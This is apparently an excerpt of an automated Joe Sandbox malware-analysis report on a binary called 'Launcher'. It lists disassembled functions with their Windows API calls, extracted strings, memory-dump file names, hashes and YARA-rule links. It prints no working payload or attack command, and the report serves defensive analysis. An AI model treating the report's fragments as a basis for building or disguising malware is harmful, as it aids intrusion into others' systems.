Opcode Fuzzy Hash: a8c77de3dbd656ad6f467c7209cd80d9523209d75f5648efcec8a2fa267d1038
Instruction Fuzzy Hash: D2D06C31010208BBCF1A2F65EC0D89D3F2AAB48352B168050B9094A471CB31EAA6DE94

Function 002491E6 Relevance: 3.1, APIs: 2, Instructions: 93
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00249A0A
___raise_securityfailure.LIBCMT ref: 00249AF2

Part of subcall function 0024AA1C: RaiseException.KERNEL32(E06D7363,00000001,00000003,002499FE,-00000002AA44BAE8,?,?,?,002499FE,?,0025EB2C), ref: 0024AA7C

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID:
API String ID: 3749517692-0
Opcode ID: 7fa27e8d5e18ef76e045df0e262be44991598ea192157a9bdc1df94150d13b0a
Instruction ID: a14c33e91c3359a19a353e3b0cf9edac0c8103a2c43148fe0a2baa30f9b2d04a
Opcode Fuzzy Hash: 7fa27e8d5e18ef76e045df0e262be44991598ea192157a9bdc1df94150d13b0a
Instruction Fuzzy Hash: 703190B4410304AFC708DF54FD4A655BBB8BB48300F58812AE90BC72E1E7F0A5A4CF41

Function 0024F752 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,0024F641,0025F088,0000000C), ref: 0024F79E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,0024F641,0025F088,0000000C), ref: 0024F7B0

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: dc1caea5970b57136c7912860e9a4801d41738859f68c2c1262aec3220d26118
Instruction ID: f346596032d22cef11de1674dc4c91777c5c24006a0becefceae4280140bb7af
Opcode Fuzzy Hash: dc1caea5970b57136c7912860e9a4801d41738859f68c2c1262aec3220d26118
Instruction Fuzzy Hash: D211B4715247424ADB788E3E8EC8622FA94ABD6330F390729D4B7C65F1C278D866D251

Function 0024BE20 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(0025ED20,0000000C), ref: 0024BE33
ExitThread.KERNEL32 ref: 0024BE3A

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: d53424f15efa870d5f06e6e827731689be1b2d0c4df3cd07b3684daee7c5498a
Instruction ID: 441b192195a8fbe9e10c418a179096c689acc6f3ec6dfb53b8cdee3adc903a50
Opcode Fuzzy Hash: d53424f15efa870d5f06e6e827731689be1b2d0c4df3cd07b3684daee7c5498a
Instruction Fuzzy Hash: C9F0AF70A60205AFEF09AFB0D84AA6E3B74FF40701F110489F40597252DB749A20CFA2

Function 002500EB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00250C59,?,00000000,?,?,00250B75,?,00000007,?,?,0025118E,?,?), ref: 00250101
GetLastError.KERNEL32(?,?,00250C59,?,00000000,?,?,00250B75,?,00000007,?,?,0025118E,?,?), ref: 0025010C

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 02903660c260871c12338c0cb87f1b061a0d3d6c041aeb907841db199350b57a
Instruction ID: 739c5ce358a607cada20de9cfde354ddc65d1973480f34ccd46cc6d41df78190
Opcode Fuzzy Hash: 02903660c260871c12338c0cb87f1b061a0d3d6c041aeb907841db199350b57a
Instruction Fuzzy Hash: 16E08C32200705ABDF212FA1FD4DB997B6CEB08793F054060FA0C86061DA34AA64CFCE

Function 00246E20 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00246F55

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: 5614daa726a4d8e96dcd039800b523587bcece0296cb23eab9d223b798324b5d
Instruction ID: d7c2745baa3b7ba739cbb034470103a12153753fbbcc0d0d7ff895d3f5f9bb75
Opcode Fuzzy Hash: 5614daa726a4d8e96dcd039800b523587bcece0296cb23eab9d223b798324b5d
Instruction Fuzzy Hash: AA3119B4D24209DFCB08DFA8D554AAEBBF0BF49300F50846AE45AA7350DB749914CF56

Function 0024EEBE Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9f12093ac135e8dd5080fdcd38afa29e17cb706755f9831aed41e8ebfd32c43
Instruction ID: 24dd36550dd084d0ca56f82d90a556f0896d4db268ee6ef0c261c52d8c83c626
Opcode Fuzzy Hash: d9f12093ac135e8dd5080fdcd38afa29e17cb706755f9831aed41e8ebfd32c43
Instruction Fuzzy Hash: 9901F5336302269BAF1A8F6CFC84A673365FB8432072B4025F902CB554EB71E8249BD1

Function 0023DE10 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEllipticRgn.GDI32 ref: 0023DE79

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: CreateElliptic
String ID:
API String ID: 1611293138-0
Opcode ID: fc1de91835b998841e9aa5228cbda284086618238ac40b2d4127da2a7ca8fd36
Instruction ID: 8b636a372e52953e90899a0a5b857aedf304eb400f41f89ceb50e3be7cf35a0e
Opcode Fuzzy Hash: fc1de91835b998841e9aa5228cbda284086618238ac40b2d4127da2a7ca8fd36
Instruction Fuzzy Hash: E411E5B4D043089BDB04EFA8D5597AEBBF5FF48304F408819D855AB350EB78AA54CF91

Function 00250C65 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,-A3400188,?,00249200,?,?,002467E7,?,00246199), ref: 00250C97

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bcc64299bbf8bcdbf7ece032ec660b2abef134010c62be364ab5334134f45706
Instruction ID: fff4ebf78dbffa865f89e507d6fbdb21ff01e1e6240aecb970597b76b7424702
Opcode Fuzzy Hash: bcc64299bbf8bcdbf7ece032ec660b2abef134010c62be364ab5334134f45706
Instruction Fuzzy Hash: 22E0E5211316225AD6302F66EC95BAA76489F433B3F150312FC4096490CBB0EC248AEC

Non-executed Functions

Function 00249CC2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00249CD6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00249CE4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00249CF5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00249D06
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00249D17
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00249D28
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00249D39
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00249D4A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00249D5B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00249D6C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00249D7D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00249D8E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00249D9F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00249DB0
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00249DC1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00249DD2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00249DE3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00249DF4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00249E05
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00249E16
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00249E27
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00249E38
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00249E49
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00249E5A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00249E6B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00249E7C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00249E8D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00249E9E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00249EAF
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00249EC0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00249ED1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00249EE2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00249EF3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00249F04
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00249F15
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00249F26
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00249F37
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00249F48
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00249F59
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00249F6A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00249F7B

Strings

WakeAllConditionVariable, xrefs: 00249EA4
WaitForThreadpoolTimerCallbacks, xrefs: 00249D94
GetLocaleInfoEx, xrefs: 00249F5F
LCMapStringEx, xrefs: 00249F70
CreateSemaphoreW, xrefs: 00249D50
FlsSetValue, xrefs: 00249D0C
FlushProcessWriteBuffers, xrefs: 00249DE9
SetThreadpoolTimer, xrefs: 00249D83
SetThreadpoolWait, xrefs: 00249DC7
CompareStringEx, xrefs: 00249F4E
FreeLibraryWhenCallbackReturns, xrefs: 00249DFA
InitializeCriticalSectionEx, xrefs: 00249D1D
CreateEventExW, xrefs: 00249D3F
CreateThreadpoolTimer, xrefs: 00249D72
InitializeSRWLock, xrefs: 00249EC6
CreateThreadpoolWait, xrefs: 00249DB6
InitOnceExecuteOnce, xrefs: 00249D2E
GetCurrentProcessorNumber, xrefs: 00249E0B
CreateThreadpoolWork, xrefs: 00249F1B
TryAcquireSRWLockExclusive, xrefs: 00249EE8
FlsAlloc, xrefs: 00249CDE
GetCurrentPackageId, xrefs: 00249E2D
FlsFree, xrefs: 00249CEA
AcquireSRWLockExclusive, xrefs: 00249ED7
CreateSemaphoreExW, xrefs: 00249D61
SubmitThreadpoolWork, xrefs: 00249F2C
SetFileInformationByHandle, xrefs: 00249E60
CloseThreadpoolWait, xrefs: 00249DD8
InitializeConditionVariable, xrefs: 00249E82
WakeConditionVariable, xrefs: 00249E93
CloseThreadpoolTimer, xrefs: 00249DA5
kernel32.dll, xrefs: 00249CD1
SleepConditionVariableSRW, xrefs: 00249F0A
CloseThreadpoolWork, xrefs: 00249F3D
GetFileInformationByHandleEx, xrefs: 00249E4F
GetTickCount64, xrefs: 00249E3E
GetSystemTimePreciseAsFileTime, xrefs: 00249E71
FlsGetValue, xrefs: 00249CFB
SleepConditionVariableCS, xrefs: 00249EB5
ReleaseSRWLockExclusive, xrefs: 00249EF9
CreateSymbolicLinkW, xrefs: 00249E21

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: d973fabfa58ea5cdc358302dad741e648ba755af2095f2051f33ac414267a3d0
Instruction ID: 5b8257fa02331ddbd858a0cff9ca0d1b3e66d3bbc0981dfcb68a9008b7327884
Opcode Fuzzy Hash: d973fabfa58ea5cdc358302dad741e648ba755af2095f2051f33ac414267a3d0
Instruction Fuzzy Hash: 5C615871962350AFEB096FF5BC0D8963BE8AB0E7033054467F501D31A1DBF466648F68

Function 0023DEF0 Relevance: 9.7, APIs: 5, Instructions: 2248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d27a9bd31eb650fadfe3ce0ced09a825c667e006028e4be528b6bf6a1b5d5e6c
Instruction ID: ef45b72c847d60bad9196ba328c2800dc530fc516b0185822409cbbb126e5e85
Opcode Fuzzy Hash: d27a9bd31eb650fadfe3ce0ced09a825c667e006028e4be528b6bf6a1b5d5e6c
Instruction Fuzzy Hash: 0CF25966A546D45FEF024AB8C4B53DB6FF24B6B730F2A279986F41F2D3C587010A9B10

Function 00231000 Relevance: 8.6, Strings: 3, Instructions: 4838COMMON

Download Yara Rule

Strings

EFde, xrefs: 0023391F
!/>, xrefs: 00232DDD
EFde, xrefs: 00232DD8

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID: !/>$EFde$EFde
API String ID: 0-183606976
Opcode ID: 1431763ed3323370d3c4fe490a9b58f574ce58210e0cc186cb9f9fe1466f9f62
Instruction ID: 0af55781a2301e9eea9c522abf948d2aa81ed50adcb0ce8478bd11ea1818c45e
Opcode Fuzzy Hash: 1431763ed3323370d3c4fe490a9b58f574ce58210e0cc186cb9f9fe1466f9f62
Instruction Fuzzy Hash: 5EA33572E219244BDB64CE79CC8179AB2F26F99330F5983E96639EB2D0D7705E418F40

Function 002517FB Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002518EB

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 4d9be1ba3694ea501d250572401857773382df60c63c6d355da35ff4f0b973d8
Instruction ID: c40b5f560212bb7bd7010885ca26cbfb4d214dfd9636da22f34b1dd16e6ed254
Opcode Fuzzy Hash: 4d9be1ba3694ea501d250572401857773382df60c63c6d355da35ff4f0b973d8
Instruction Fuzzy Hash: 62710671C251196FDF35EF289C9DBBEB7B9EB05301F1441D9E809A3251DA304EA98F18

Function 0024A464 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0024A470
IsDebuggerPresent.KERNEL32 ref: 0024A53C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0024A55C
UnhandledExceptionFilter.KERNEL32(?), ref: 0024A566

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 20e554be1242da84a61cd2f3d2ff7f650d8df348eccee455c87938cf683a868b
Instruction ID: f46bbd9d1c0f0a304e69c9574235cde4cbd619251a9ddaafb9efd45d3900f620
Opcode Fuzzy Hash: 20e554be1242da84a61cd2f3d2ff7f650d8df348eccee455c87938cf683a868b
Instruction Fuzzy Hash: 52310775D553189BDF21EFA4D9897CDBBB8AF08304F1040AAE40CAB250EB719B85CF45

Function 0023FE20 Relevance: 4.9, Strings: 1, Instructions: 3648COMMON

Download Yara Rule

Strings

O^#, xrefs: 00242702

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_Launcher.jbxd

Similarity

API ID:
String ID: O^#
API String ID: 0-47714887
Opcode ID: 9dc9e04fb946f11d59382e4e4d75304a0206766023fcf2ac81766f33526c5a95
Instruction ID: 6d5251168fef841d825688fa2bc10e965f5f8bdb746d031f069f8b4c289ac5b0
Opcode Fuzzy Hash: 9dc9e04fb946f11d59382e4e4d75304a0206766023fcf2ac81766f33526c5a95
Instruction Fuzzy Hash: 03436A26A956D44FEF124A78C8753DB6FF24B27330F2A279686E41F2D3C54B054AAF10

Function 0024CDEA Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0024CEE2
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0024CEEC
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 0024CEF9

Memory Dump Source

Source File: 00000000.00000002.2101871259.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000000.00000002.2101843560.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101911589.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102048011.0000000000260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102108915.0000000000261000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102125886.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102227719.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

